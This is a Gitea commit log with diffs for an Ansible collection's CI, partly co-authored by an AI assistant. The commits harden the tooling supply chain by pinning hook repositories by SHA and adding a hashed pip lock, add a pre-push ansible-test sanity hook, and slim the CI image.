12 Commits
Author SHA1 Message Date
Dragonish 4058978353 ci(deps): pin hook revisions by SHA and install dev tools from a hashed lock
Build / build (pull_request) Successful in 10s
Lint / lint (pull_request) Successful in 1m42s
Molecule / molecule (pull_request) Successful in 5m23s
Refs #113.

- .pre-commit-config.yaml: every hook repo is pinned by commit SHA with the release in a
  `# frozen:` comment, so a moved tag cannot change the code a hook environment is built from.
- requirements-dev.lock: hashed lock of requirements-dev.txt. Installs use
  `pip install --require-hashes -r requirements-dev.lock -r requirements-dev.txt` (dev-setup.sh,
  the ci image, the fallback install of Lint and Build): pip refuses an unhashed package and any
  disagreement between the two files.
- scripts/lock-requirements.sh regenerates the lock (pinned pip and pip-tools, --upgrade mode).
- renovate.json: the pip-compile manager replaces pip_requirements for the lock, plus a weekly,
  never automerged lock-file maintenance PR for transitive packages. Not yet dry-run on Renovate.
- check_bot_pr_diff.py accepts `rev: <sha>  # frozen: <tag>` and lock entries, hashes and plain
  comments, but not a changed pip-compile header command.
- ci image 0.2.18 -> 0.2.19 (image inputs changed).
2026-11-14 16:52:38 +00:00
Defame1297 7fa6c6754d Merge pull request 'ci(images): use ci 0.2.18' (#127) from ci/ci-image-pin-0.2.18 into main
Build / build (push) Successful in 10s
Lint / lint (push) Successful in 20s
Reviewed-on: #127
2026-11-14 16:07:39 +00:00
Defame1297andClaude Sonnet 5.5 4cf442df92 ci(images): use ci 0.2.18
Build / build (pull_request) Successful in 24s
Lint / lint (pull_request) Successful in 21s
Molecule / molecule (pull_request) Successful in 1s
Move the ci pins of lint.yml and build.yml to the image the Images run built on main for #126 (the digest is the one the build printed and the registry serves for the 0.2.18 tag). PR 2 of the loop for the ansible-test sanity pre-push hook: the pin files of this repository match the checksums baked into the image again, so Lint takes the baked tools and collections instead of installing them.

Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
Claude-Session: https://claude.ai/code/session_014uGZTNmHMc85bomfevwUDG
2026-11-14 16:06:08 +00:00
Defame1297 8e66a1154c Merge pull request 'ci: resolve the Collection's own roles in lint and run ansible-test sanity before a push' (#126) from ci/lint-resolve-own-collection into main
Build / build (push) Successful in 10s
Images / image (Dockerfile, ubuntu:24.04@sha256:fe81560990fae86dc4743202b2cb4d3df98d0bcf949173cecef15ce1127ef852, molecule-ubuntu2404, images/molecule-ubuntu2404, 0.1.6) (push) Successful in 9s
Lint / lint (push) Successful in 29s
Images / image (Dockerfile, ubuntu:26.04@sha256:6a06111c3b0a8600feadb270aec771dc239bf407b25625f93f44ab00e11f4d3c, molecule-ubuntu2604, images/molecule-ubuntu2604, 0.1.3) (push) Successful in 10s
Images / image (images/ci/Dockerfile, ubuntu:26.04@sha256:6a06111c3b0a8600feadb270aec771dc239bf407b25625f93f44ab00e11f4d3c, ci, , 0.2.18) (push) Successful in 4m16s
Reviewed-on: #126
2026-11-14 15:59:29 +00:00
Defame1297andClaude Sonnet 5.5 18a7e26e4f ci(hooks): run ansible-test sanity before a push
Build / build (pull_request) Successful in 11s
Lint / lint (pull_request) Successful in 30s
Molecule / molecule (pull_request) Successful in 5m22s
Add a pre-push hook that runs scripts/ansible-test-sanity.sh, so the Build job's sanity check, which ruff and the other hooks do not cover (it failed on a name only its pylint disallows), stops a push instead of the pull request. It is pre-push and not pre-commit because a cold run builds virtualenvs and needs the network; CI's pre-commit run does not run that stage, and a local system hook builds no environment. pre-push joins default_install_hook_types, and dev-setup.sh and its test treat it like the other two hook types, so its hook script also gets the virtualenv on PATH.

Verified through git push --dry-run in a throwaway clone: a commit with a disallowed name inside a function is blocked (exit 1, the same pylint message as CI, failed to push), and the push passes once it is removed.

Image input: .pre-commit-config.yaml is baked into the ci image, so ci 0.2.17 -> 0.2.18 (scripts/bump_image_versions.py). The new hook adds no hook environment and no layer size; the merge builds 0.2.18 and a pin PR follows.

Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
Claude-Session: https://claude.ai/code/session_014uGZTNmHMc85bomfevwUDG
2026-11-14 15:52:35 +00:00
Defame1297andClaude Sonnet 5.5 574c0d00f9 ci(scripts): add a wrapper that runs ansible-test sanity on HEAD
ansible-test only runs a collection from an ansible_collections/<namespace>/<name> directory, so scripts/ansible-test-sanity.sh copies HEAD (git archive: the committed files only) into a temporary one, applies the Build job's ignore-file step and runs ansible-test sanity --requirements, passing extra arguments through. The sanity tests carry their own pylint, pep8 and shellcheck settings and also scan the Python under tests/, which ruff and the other hooks do not (the Build check failed on a name only that pylint disallows). The hook that runs it before a push follows in the next commit.

Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
Claude-Session: https://claude.ai/code/session_014uGZTNmHMc85bomfevwUDG
2026-11-14 15:49:51 +00:00
Defame1297andClaude Sonnet 5.5 6b930a0f7e fix(tests): drop a name that ansible-test sanity pylint disallows
The Build check failed in ansible-test sanity: pylint reported tests/scripts/test_ansible_lint_wrapper.py:37:13 disallowed-name for `_`, from unpacking the middle of str.partition. Ruff accepts the name, but the pylint configuration of ansible-test, which also scans the Python under tests/, does not. Index the partition result instead. Reproduced locally with ansible-test sanity --test pylint on a copy of the tree under ansible_collections/mortis/kamino: the committed file fails with the same message, this one passes.

Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
Claude-Session: https://claude.ai/code/session_014uGZTNmHMc85bomfevwUDG
2026-11-14 15:44:11 +00:00
Defame1297andClaude Sonnet 5.5 3289c0d430 ci(lint): resolve the Collection's own roles and drop mock_roles
Build / build (pull_request) Failing after 11s
Lint / lint (pull_request) Successful in 20s
Molecule / molecule (pull_request) Successful in 1s
Step 5 of #118. The scenarios' converge plays call the roles by FQCN (mortis.kamino.<role>), which only resolves from an ansible_collections/<namespace>/<name> directory, and a checkout is not one, so .ansible-lint listed the five roles in mock_roles and ansible-lint never checked those plays against the real roles.

scripts/ansible-lint.sh, which the ansible-lint hook runs in CI and locally, now links the checkout as ansible_collections/<namespace>/<name> in a temporary root (namespace and name read from galaxy.yml), puts that root first on ANSIBLE_COLLECTIONS_PATH and removes it on exit, so ansible-lint reads the checkout itself. Removing mock_roles reproduced five syntax-check[specific] role-not-found errors; with the link the run passes with no warnings, locally and with CI's preset path. A bare ansible-lint, outside the hook, does not get the link; .ansible-lint says so.

No image input changes: .pre-commit-config.yaml, requirements and images/** are untouched, so no version bump or second pull request. Closes the last open item of #118.

Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
Claude-Session: https://claude.ai/code/session_014uGZTNmHMc85bomfevwUDG
2026-11-14 15:38:34 +00:00
Defame1297 8c743c125a Merge pull request 'ci(images): use ci 0.2.17' (#125) from ci/ci-image-pin-0.2.17 into main
Build / build (push) Successful in 11s
Lint / lint (push) Successful in 19s
Reviewed-on: #125
2026-11-14 15:32:59 +00:00
Defame1297andClaude Sonnet 5.5 462a2d24f3 ci(images): use ci 0.2.17
Build / build (pull_request) Successful in 24s
Lint / lint (pull_request) Successful in 20s
Molecule / molecule (pull_request) Successful in 1s
Move the ci pins of lint.yml and build.yml to the image the Images run built on main for #123 (the digest is the one the build printed and the registry serves for the 0.2.17 tag). This is PR 2 of the loop for the ruff and shellcheck hooks and the baked collections (#112, #118): the pin files of this repository now match the checksums baked into the image, so Lint takes the baked tools and collections instead of installing them.

Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
Claude-Session: https://claude.ai/code/session_014uGZTNmHMc85bomfevwUDG
2026-11-14 15:31:59 +00:00
Defame1297 c258a107fe Merge pull request 'fix(images): prune the unused Go binaries from the ci image' (#123) from ci/ci-image-prune-go-binaries into main
Build / build (push) Successful in 11s
Images / image (Dockerfile, ubuntu:24.04@sha256:fe81560990fae86dc4743202b2cb4d3df98d0bcf949173cecef15ce1127ef852, molecule-ubuntu2404, images/molecule-ubuntu2404, 0.1.6) (push) Successful in 9s
Lint / lint (push) Successful in 48s
Images / image (Dockerfile, ubuntu:26.04@sha256:6a06111c3b0a8600feadb270aec771dc239bf407b25625f93f44ab00e11f4d3c, molecule-ubuntu2604, images/molecule-ubuntu2604, 0.1.3) (push) Successful in 11s
Images / image (images/ci/Dockerfile, ubuntu:26.04@sha256:6a06111c3b0a8600feadb270aec771dc239bf407b25625f93f44ab00e11f4d3c, ci, , 0.2.17) (push) Successful in 3m42s
Reviewed-on: #123
2026-11-14 15:17:49 +00:00
Defame1297andClaude Sonnet 5.5 cd5c2353fc fix(images): prune the unused Go binaries from the ci image
Build / build (pull_request) Successful in 12s
Lint / lint (pull_request) Successful in 48s
Molecule / molecule (pull_request) Successful in 2s
The push of ci 0.2.16 failed with 413 Payload Too Large from Cloudflare: its /opt/pre-commit layer, 75.5 MB compressed in 0.2.15, grew past the 100 MB limit with the ruff and shellcheck-py environments. About half of that layer was binaries no hook runs: pre-commit installs every main package of a Go hook repository, which leaves gitleaks' config and actionlint's check-checks and generate-* next to the gitleaks and actionlint binaries the hooks call.

Delete everything in each golangenv-*/bin except those two, before the smoke test that runs all six hooks, so a wrongly deleted binary fails the image build. Replicated locally with this repository's hook config: the pre-commit home goes from 89.9 MB to 57.3 MB compressed (gzip -6, about 9% under what the registry stores) and all six hooks still pass. The build now also prints the compressed size of each directory a later COPY turns into a layer, the figure the limit applies to.

ci 0.2.16 was never published (the push failed), so it is skipped: 0.2.16 -> 0.2.17, which the bump check requires because the matrix on main already says 0.2.16.

Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
Claude-Session: https://claude.ai/code/session_014uGZTNmHMc85bomfevwUDG
2026-11-14 15:14:53 +00:00
25 changed files with 1973 additions and 77 deletions

No files matched your search

+4 -11
View File
@@ -11,16 +11,9 @@ exclude_paths:
- changelogs
- images
# The Collection is checked out outside an ansible_collections/mortis/kamino path (CI clones it
# into the workspace), so ansible-lint cannot resolve a role of this Collection by its FQCN in
# a scenario's converge play. List the roles the scenarios call by FQCN.
mock_roles:
- mortis.kamino.docker
- mortis.kamino.fail2ban
- mortis.kamino.network_interfaces
- mortis.kamino.system_baseline
- mortis.kamino.systemd_hardening
# The collections of the Collection's dependencies (galaxy.yml) are pinned in requirements.yml and
# resolved offline: the ci image bakes them into /opt/collections and scripts/dev-setup.sh installs
# them into .ansible/collections, so their modules are linted, not mocked.
# them into .ansible/collections, so their modules are linted, not mocked. The Collection's own role
# names (mortis.kamino.<role>, used by the scenarios) resolve the same way: scripts/ansible-lint.sh,
# which the hook runs, links the checkout as ansible_collections/mortis/kamino. A bare `ansible-lint`
# does not do that and reports the role names as not found; run it through the hook.
+3 -3
View File
@@ -32,7 +32,7 @@ jobs:
timeout-minutes: 30
# The ci image (images/ci, built by image.yml): tag for the release, digest enforced.
container:
image: git.rkdr.net/mortis/ci:0.2.15@sha256:32b6b44640b0864266fdabb37f7c9d1c8e83834753e63f69af9c0c8a1cc67eb1
image: git.rkdr.net/mortis/ci:0.2.18@sha256:ff30bb7fe0106c7b0c8bd1021b56861763157fc26f7e94edf28f1d0259f266a8
env:
PIP_DISABLE_PIP_VERSION_CHECK: "1"
steps:
@@ -65,9 +65,9 @@ jobs:
if sha256sum --quiet -c /opt/ci-pins.sha256; then
echo "The pin files match the ci image; using the baked tools."
else
echo "::warning::requirements-dev.txt, requirements.yml or .pre-commit-config.yaml differ from the ci image;" \
echo "::warning::requirements-dev.txt, requirements-dev.lock, requirements.yml or .pre-commit-config.yaml differ from the ci image;" \
"installing the pinned tools for this run."
/opt/venv/bin/pip install --quiet -r requirements-dev.txt
/opt/venv/bin/pip install --quiet --require-hashes -r requirements-dev.lock -r requirements-dev.txt
fi
# ADR 0004, Release process: the tag is annotated and equals v + the galaxy.yml version.
+2 -1
View File
@@ -40,6 +40,7 @@ on: # yamllint disable-line rule:truthy
- 'images/**'
# The ci image bakes these files' contents in (images/ci/Dockerfile).
- 'requirements-dev.txt'
- 'requirements-dev.lock'
- 'requirements.yml'
- '.pre-commit-config.yaml'
- '.gitea/workflows/image.yml'
@@ -87,7 +88,7 @@ jobs:
dockerfile: Dockerfile
job_image: ubuntu:26.04@sha256:6a06111c3b0a8600feadb270aec771dc239bf407b25625f93f44ab00e11f4d3c
- name: ci
version: 0.2.16
version: 0.2.19
subpath: ""
dockerfile: images/ci/Dockerfile
job_image: ubuntu:26.04@sha256:6a06111c3b0a8600feadb270aec771dc239bf407b25625f93f44ab00e11f4d3c
+3 -3
View File
@@ -35,7 +35,7 @@ jobs:
# The tag says which release, the digest is what is enforced (bump both together
# when image.yml publishes a new version).
container:
image: git.rkdr.net/mortis/ci:0.2.15@sha256:32b6b44640b0864266fdabb37f7c9d1c8e83834753e63f69af9c0c8a1cc67eb1
image: git.rkdr.net/mortis/ci:0.2.18@sha256:ff30bb7fe0106c7b0c8bd1021b56861763157fc26f7e94edf28f1d0259f266a8
env:
PIP_DISABLE_PIP_VERSION_CHECK: "1"
PRE_COMMIT_HOME: /opt/pre-commit
@@ -64,9 +64,9 @@ jobs:
if sha256sum --quiet -c /opt/ci-pins.sha256; then
echo "The pin files match the ci image; using the baked tools."
else
echo "::warning::requirements-dev.txt, requirements.yml or .pre-commit-config.yaml differ from the ci image;" \
echo "::warning::requirements-dev.txt, requirements-dev.lock, requirements.yml or .pre-commit-config.yaml differ from the ci image;" \
"installing the pinned tools and collections for this run."
/opt/venv/bin/pip install --quiet -r requirements-dev.txt
/opt/venv/bin/pip install --quiet --require-hashes -r requirements-dev.lock -r requirements-dev.txt
# --force: the baked copy of a changed pin is replaced, not kept as "already installed".
/opt/venv/bin/ansible-galaxy collection install --force -r requirements.yml -p "$ANSIBLE_COLLECTIONS_PATH"
fi
+28 -8
View File
@@ -1,20 +1,26 @@
default_install_hook_types: [pre-commit, commit-msg]
# Hook repositories are pinned by commit SHA, with the release in a `# frozen:` comment: a
# tag can be moved, a commit cannot, so a moved tag shows up as a failed fetch and not as
# new code in the hook environment (supply chain, ci image and contributors alike).
# Renovate's pre-commit manager keeps a frozen rev in its frozen form when it updates it (it never
# creates one). To pin by hand, list both refs and take the `^{}` (peeled) line when there is one,
# the plain line otherwise: `git ls-remote <repo> "refs/tags/<tag>" "refs/tags/<tag>^{}"`.
default_install_hook_types: [pre-commit, commit-msg, pre-push]
repos:
- repo: https://github.com/compilerla/conventional-pre-commit
rev: v4.4.0
rev: 91ab4bf57e58b32adf1a122681f6ebe164d081c8 # frozen: v4.4.0
hooks:
- id: conventional-pre-commit
stages: [commit-msg]
- repo: https://github.com/gitleaks/gitleaks
rev: v8.30.1
rev: 83d9cd684c87d95d656c1458ef04895a7f1cbd8e # frozen: v8.30.1
hooks:
- id: gitleaks
stages: ['pre-commit']
- repo: https://github.com/adrienverge/yamllint
rev: v1.38.0
rev: cba56bcde1fdd01c1deb3f945e69764c291a6530 # frozen: v1.38.0
hooks:
- id: yamllint
args: [--strict]
@@ -23,7 +29,7 @@ repos:
# Python and shell scripts under scripts/ and tests/scripts/ (#112). ruff.toml holds the
# configuration. No --fix: a finding fails the hook instead of rewriting files in CI.
- repo: https://github.com/astral-sh/ruff-pre-commit
rev: v0.17.5
rev: ef6cf06c079dd6b299dfc720b0f14400c9d168e1 # frozen: v0.17.5
hooks:
- id: ruff-check
stages: ['pre-commit']
@@ -33,13 +39,13 @@ repos:
# shellcheck-py ships the shellcheck binary as a wheel, so no system package is needed.
# Default severity, no .shellcheckrc. actionlint (below) covers the run: blocks of workflows.
- repo: https://github.com/shellcheck-py/shellcheck-py
rev: v0.11.0.1
rev: 745eface02aef23e168a8afb6b5737818efbea95 # frozen: v0.11.0.1
hooks:
- id: shellcheck
stages: ['pre-commit']
- repo: https://github.com/pre-commit/pre-commit-hooks
rev: v6.0.0
rev: 3e8a8703264a2f4a69428a0aa4dcb512790b2c8c # frozen: v6.0.0
hooks:
- id: check-toml
stages: ['pre-commit']
@@ -50,7 +56,7 @@ repos:
# github.* contexts (Gitea aliases them), because actionlint does not know gitea.*.
# actionlint runs shellcheck over run: blocks when shellcheck is on PATH.
- repo: https://github.com/rhysd/actionlint
rev: v1.7.12
rev: 914e7df21a07ef503a81201c76d2b11c789d3fca # frozen: v1.7.12
hooks:
- id: actionlint
args: [-config-file, .gitea/actionlint.yaml]
@@ -83,6 +89,20 @@ repos:
stages: ['pre-commit']
pass_filenames: false
# Pre-push only: the Build job's ansible-test sanity run, on HEAD (scripts/ansible-test-sanity.sh).
# The sanity tests carry their own pylint, pep8 and shellcheck settings, which the hooks above do
# not, and a cold run builds virtualenvs, so it is not a commit hook. CI's pre-commit run does not
# run this stage (the Build job runs sanity itself), and no hook environment is built for it.
- id: ansible-test-sanity
name: ansible-test sanity
description: ansible-test sanity on HEAD, as the Build job runs it
entry: scripts/ansible-test-sanity.sh
language: system
pass_filenames: false
always_run: true
require_serial: true
stages: ['pre-push']
- id: ansible-lint
name: ansible-lint
description: ansible-lint production profile, offline
+12 -4
View File
@@ -27,6 +27,8 @@ or create tags: those are the operator's.
actionlint, ansible-lint, gitleaks, changelog lint, Conventional Commits) only run in
`git commit`; an API commit skips them and CI finds the problem after the push. The first
hook run builds the Go hook environments and takes minutes: run commits in the background.
`git push` also runs `ansible-test sanity` on HEAD (`scripts/ansible-test-sanity.sh`, the Build
job's check, which ruff and the other hooks do not cover); its first run builds virtualenvs and takes minutes.
- Feature branch and pull request; `main` and `v*` tags are protected. Never push to `main`.
Releases are the operator's: annotated `vX.Y.Z` tags equal to `galaxy.yml`'s version.
- Conventional Commits. A PR says what was verified and what was not.
@@ -56,7 +58,7 @@ Single-context: `GLOSSARY.md` and `docs/adr/` at the root, both created lazily.
- Runner labels are `kamino-docker` and `kamino-molecule` only (`.gitea/actionlint.yaml`). Use
the `github.*` contexts, which Gitea aliases; actionlint does not know `gitea.*`.
- Lint and Build run in the `ci` image. After the checkout they compare the pin files with the
checksums baked into the image: a PR that changes `requirements-dev.txt`, `requirements.yml` or
checksums baked into the image: a PR that changes `requirements-dev.txt`, `requirements-dev.lock`, `requirements.yml` or
`.pre-commit-config.yaml` takes the slower path that installs the pinned tools and collections.
- Molecule runs on every same-repo pull request, Renovate's included (a new image is tested by its own pin
pull request), with no workflow path filter, so that it can be a required check. Fork pull requests are skipped.
@@ -119,14 +121,20 @@ maintainer's production environment. Never reuse another Renovate credential her
A new Ubuntu release is a deliberate edit, never a bump. The `job_image` of each matrix entry in `image.yml`
never automerges: that job holds the registry push credential. kaniko is pinned by layer digests in
`image.yml` and updated by hand.
- **Two-PR loop for an image input** (`requirements-dev.txt`, `requirements.yml`, `.pre-commit-config.yaml`, `images/**`): PR 1
- **Two-PR loop for an image input** (`requirements-dev.txt`, `requirements-dev.lock`, `requirements.yml`, `.pre-commit-config.yaml`, `images/**`): PR 1
carries the input change plus the PATCH bump of the image `version:` in `image.yml`
(`scripts/bump_image_versions.py [<base-ref>]`; `check_image_versions.py bump` then passes; Renovate runs it
as a post-upgrade task). The merge builds the image on `main`. PR 2 moves the consumers' pins to the new
digest (Renovate's pin-follow rule for the `mortis/*` images; a major version stays manual).
- **Python tool pins and their lock:** `requirements-dev.txt` holds the direct pins, `requirements-dev.lock` is
their hashed lock (installed with `pip install --require-hashes -r requirements-dev.lock -r requirements-dev.txt`;
pip refuses an unhashed package and any disagreement between the two). Renovate's `pip-compile` manager bumps
a pin and regenerates the lock by replaying the lock's header command; a weekly lock-file-maintenance PR
moves transitive packages and is never automerged. By hand: `scripts/lock-requirements.sh [--upgrade]`.
Hook repositories in `.pre-commit-config.yaml` are pinned by commit SHA with a `# frozen: vX.Y.Z` comment.
- **Bot-diff gate:** `scripts/check_bot_pr_diff.py` runs in the lint workflow, from `origin/main`'s copy so a
pull request cannot weaken it. A `renovate/` head ref may only change version lines (tool pins, hook `rev:`
lines, Dockerfile FROM tags and digests, matrix `version:` lines, `job_image:` pins, consumer image pins);
pull request cannot weaken it. A `renovate/` head ref may only change version lines (tool pins and their lock
entries and hashes, hook `rev:` lines, Dockerfile FROM tags and digests, matrix `version:` lines, `job_image:` pins, consumer image pins);
anything else fails, `renovate.json` included. The branch name is attacker-controlled, so this only
constrains the bot's own pull requests.
- **No Collection release from tooling bumps:** tooling files are in `galaxy.yml` `build_ignore`. A
+12 -3
View File
@@ -15,11 +15,13 @@
- Third-party material needs an SPDX header, a `REUSE.toml` annotation (it
overrides file headers) and an entry in `NOTICE`.
- Set up the tooling once per clone with `scripts/dev-setup.sh`: it creates a virtualenv with
the pinned tools (`requirements-dev.txt`), installs the pinned collections the roles call
the pinned tools (`requirements-dev.lock`, the hashed lock of `requirements-dev.txt`), installs the pinned collections the roles call
(`requirements.yml`, into `.ansible/collections`, so local lint resolves the versions CI does)
and installs git hooks that find the tools (the `ansible-lint` hook, `scripts/ansible-lint.sh`, uses those
collections, also from a bare `pre-commit run`). Then
`pre-commit run --all-files` before pushing.
`pre-commit run --all-files` before pushing. A `git push` runs `ansible-test sanity` on HEAD
(`scripts/ansible-test-sanity.sh`, the Build job's check; the first run builds virtualenvs and
takes minutes), so a finding only that test reports stops the push, not the Build check.
- Never commit credentials, tokens or key material.
- Releases are cut by the maintainer: bump `version` in `galaxy.yml`, add a
`release_summary:` fragment, run `antsibull-changelog release` in a release PR
@@ -28,7 +30,14 @@
## Dependency and image updates
- `requirements-dev.txt`, `requirements.yml`, `.pre-commit-config.yaml` and `images/**` are inputs of the CI and
- A pin in `requirements-dev.txt` is changed together with its lock: Renovate does both (pip-compile manager);
by hand, run `scripts/lock-requirements.sh` (`--upgrade` moves transitive packages too; needs PyPI and
Python 3.13) and commit `requirements-dev.lock` in the same pull request. Installs use
`pip install --require-hashes -r requirements-dev.lock -r requirements-dev.txt`: pip refuses an unhashed
package and any disagreement between the two files. Hook repositories in `.pre-commit-config.yaml` are
pinned by commit SHA with the release in a `# frozen: vX.Y.Z` comment; find the SHA with
`git ls-remote <repo> "refs/tags/<tag>" "refs/tags/<tag>^{}"` (the `^{}` line, when there is one).
- `requirements-dev.txt`, `requirements-dev.lock`, `requirements.yml`, `.pre-commit-config.yaml` and `images/**` are inputs of the CI and
molecule images. A pull request that changes one needs a higher `version:` for that image in
`.gitea/workflows/image.yml` (`python3 scripts/bump_image_versions.py` makes the edit; the
`Check image versions were bumped` step enforces it). After the merge, `image.yml` builds the
+10 -8
View File
@@ -7,14 +7,15 @@ workflows used to install on each run is baked in, so a job only checks out the
Ubuntu 26.04 with:
- **Python tools** in `/opt/venv` (on `PATH`), from `requirements-dev.txt`: `ansible-core`,
- **Python tools** in `/opt/venv` (on `PATH`), from `requirements-dev.lock` (the hashed lock of `requirements-dev.txt`, installed with `pip install --require-hashes`): `ansible-core`,
`ansible-lint`, `pre-commit`, `antsibull-changelog`, `galaxy-importer`, `reuse`.
- **The collections the roles call** in `/opt/collections` (`ANSIBLE_COLLECTIONS_PATH` is set to it), from
`requirements.yml`: `community.general` and `ansible.posix` at the exact versions CI tests against, so
`ansible-lint --offline` resolves their modules instead of mocking them.
- **Every pre-commit hook environment** of `.pre-commit-config.yaml` in `/opt/pre-commit`
(`PRE_COMMIT_HOME`): conventional-pre-commit, gitleaks, yamllint, ruff, shellcheck-py, pre-commit-hooks and actionlint. The Go
hooks are prebuilt; their toolchains are removed to keep layers small. The local hooks (`reuse-lint`,
hooks are prebuilt; their toolchains, and the binaries of those repositories that no hook runs, are removed to
keep layers small. The local hooks (`reuse-lint`,
`antsibull-changelog-lint`, `ansible-lint`) are `language: system`: they run from `/opt/venv`, which is why
that directory must be on `PATH` (it is, in the image).
- **`ansible-test sanity` virtualenvs**, primed in `/root/.ansible/test`, and Python 3.11 and 3.13 as
@@ -22,7 +23,7 @@ Ubuntu 26.04 with:
`python3`, so sanity runs its compile test for those interpreters instead of skipping it.
- `git`, `shellcheck` (actionlint runs it over `run:` blocks), `python3`, `python3-venv` and `ca-certificates`.
The image runs as root and sets no working directory.
- `/opt/ci-pins.sha256`: the checksums of the three pin files this image was built from.
- `/opt/ci-pins.sha256`: the checksums of the four pin files this image was built from.
It has no Node, so JavaScript actions (`actions/checkout`) cannot run in it: clone with `git`.
@@ -46,7 +47,7 @@ jobs:
- name: Check the baked tooling against the pins # run from the checkout root
run: |
if ! sha256sum --quiet -c /opt/ci-pins.sha256; then
/opt/venv/bin/pip install --quiet -r requirements-dev.txt # a pin changed: install the pinned tools
/opt/venv/bin/pip install --quiet --require-hashes -r requirements-dev.lock -r requirements-dev.txt # a pin changed: install the pinned tools
/opt/venv/bin/ansible-galaxy collection install --force -r requirements.yml -p "$ANSIBLE_COLLECTIONS_PATH"
fi
- name: Run pre-commit on all files
@@ -55,8 +56,8 @@ jobs:
pre-commit run --all-files --show-diff-on-failure
```
`/opt/ci-pins.sha256` lists the three pin files by relative name, so `sha256sum -c` runs in the checkout root. When
the checkout's `requirements-dev.txt`, `requirements.yml` and `.pre-commit-config.yaml` match, the baked tools and
`/opt/ci-pins.sha256` lists the four pin files by relative name, so `sha256sum -c` runs in the checkout root. When
the checkout's `requirements-dev.txt`, `requirements-dev.lock`, `requirements.yml` and `.pre-commit-config.yaml` match, the baked tools and
collections are used as they are. When a pull request changes a pin the check fails and the job installs the pinned
tools and collections itself for that run
(slower, same result), until the image is rebuilt from `main`. `lint.yml` and `build.yml` are the real consumers.
@@ -72,12 +73,13 @@ tools and collections itself for that run
## How it is built and kept up to date
`.gitea/workflows/image.yml` builds it with kaniko (repository root as build context, because the pin
files are copied in). The workflow runs on pushes to `main` that touch `images/**`, `requirements-dev.txt`, `requirements.yml`,
files are copied in). The workflow runs on pushes to `main` that touch `images/**`, `requirements-dev.txt`, `requirements-dev.lock`, `requirements.yml`,
`.pre-commit-config.yaml` or the workflow itself, never on a pull request, and builds an image only when its
`version:` in the workflow's matrix is not yet published. A change to the image's inputs therefore needs a new
`version:` (Lint enforces it, and Renovate's bump step does it for dependency updates), and the merge builds
the image. Each pushed layer stays below 100 MB (Cloudflare's request limit), which is why the Go toolchains
are deleted from the hook cache.
and the unused Go binaries are deleted from the hook cache, and why the build prints the compressed size of each layer
directory.
## Image metadata
+1 -1
View File
@@ -66,7 +66,7 @@ systemd, packages, the `dbus` and `ssh` units, the Python bindings, `NET_ADMIN`)
## How it is built and kept up to date
`.gitea/workflows/image.yml` builds it with kaniko. The workflow runs on pushes to `main` that touch `images/**`,
`requirements-dev.txt`, `requirements.yml`, `.pre-commit-config.yaml` or the workflow itself, never on a pull request, and builds an
`requirements-dev.txt`, `requirements-dev.lock`, `requirements.yml`, `.pre-commit-config.yaml` or the workflow itself, never on a pull request, and builds an
image only when its `version:` in the workflow's matrix is not yet published. A change under
`images/molecule-ubuntu2404/` therefore needs a new `version:` (Lint enforces it) and the merge builds the image. The
Ubuntu release is fixed by the name: a new Ubuntu release is a new image (`molecule-ubuntuNNNN`), and the roles
+1 -1
View File
@@ -65,7 +65,7 @@ systemd, packages, the `dbus` and `ssh` units, the Python bindings, `NET_ADMIN`)
## How it is built and kept up to date
`.gitea/workflows/image.yml` builds it with kaniko. The workflow runs on pushes to `main` that touch `images/**`,
`requirements-dev.txt`, `requirements.yml`, `.pre-commit-config.yaml` or the workflow itself, never on a pull request, and builds an
`requirements-dev.txt`, `requirements-dev.lock`, `requirements.yml`, `.pre-commit-config.yaml` or the workflow itself, never on a pull request, and builds an
image only when its `version:` in the workflow's matrix is not yet published. A change under
`images/molecule-ubuntu2604/` therefore needs a new `version:` (Lint enforces it) and the merge builds the image. The
Ubuntu release is fixed by the name: a new Ubuntu release is a new image (`molecule-ubuntuNNNN`), and the roles
+1
View File
@@ -52,6 +52,7 @@ build_ignore:
- renovate.json
- ruff.toml
- requirements-dev.txt
- requirements-dev.lock
- requirements.yml
- gitleaks-report.json
- importer_result.json
+22 -8
View File
@@ -11,7 +11,7 @@
# What is baked in, and from where:
# - OS packages: git, shellcheck (actionlint runs it over run: blocks), the
# distribution's python3 and ca-certificates.
# - /opt/venv: requirements-dev.txt (ansible-core, ansible-lint, pre-commit,
# - /opt/venv: requirements-dev.lock, the hashed lock of requirements-dev.txt (ansible-core, ansible-lint, pre-commit,
# antsibull-changelog, galaxy-importer, reuse).
# - /opt/collections: the collections of requirements.yml (the versions the roles are
# tested against), found through ANSIBLE_COLLECTIONS_PATH, so `ansible-lint --offline`
@@ -24,7 +24,7 @@
# - Python 3.11 and 3.13 as python3.11 / python3.13 on PATH, so that
# `ansible-test sanity` runs its compile test for them instead of skipping it.
# They come from python-build-standalone through uv, pinned by the uv version.
# - /opt/ci-pins.sha256: the checksums of requirements-dev.txt, requirements.yml and
# - /opt/ci-pins.sha256: the checksums of requirements-dev.txt, requirements-dev.lock, requirements.yml and
# .pre-commit-config.yaml this image was built from. A job runs
# `sha256sum -c /opt/ci-pins.sha256` in its checkout; when a pull request changes a
# pin the check fails and the job installs the tools as before, until the image
@@ -56,10 +56,10 @@ ENV PIP_DISABLE_PIP_VERSION_CHECK=1 \
UV_PYTHON_BIN_DIR=/opt/python-bin
WORKDIR /src
COPY requirements-dev.txt requirements.yml .pre-commit-config.yaml ./
COPY requirements-dev.txt requirements-dev.lock requirements.yml .pre-commit-config.yaml ./
RUN python3 -m venv /opt/venv \
&& /opt/venv/bin/pip install -r requirements-dev.txt
&& /opt/venv/bin/pip install --require-hashes -r requirements-dev.lock -r requirements-dev.txt
# The collections of requirements.yml. ANSIBLE_COLLECTIONS_PATH is set to the target for the
# install only: a collection found anywhere else on the path would be skipped as "already
@@ -82,9 +82,19 @@ RUN python3 -m venv /opt/uv-venv \
# downloads into <env>/.go, about 170 MB per environment, which alone pushed the
# /opt/pre-commit layer past Cloudflare's 100 MB limit (413 on the first push). At run
# time only the built binaries in <env>/bin run, so the toolchains and the Go build
# cache are deleted. The hooks below run on a staged sample before and after the
# cache are deleted. So are the binaries no hook runs: pre-commit installs every main
# package of a hook repository, which leaves gitleaks' `config` and actionlint's
# `check-checks` and `generate-*` (about 60 MB raw, 20 MB compressed) next to the
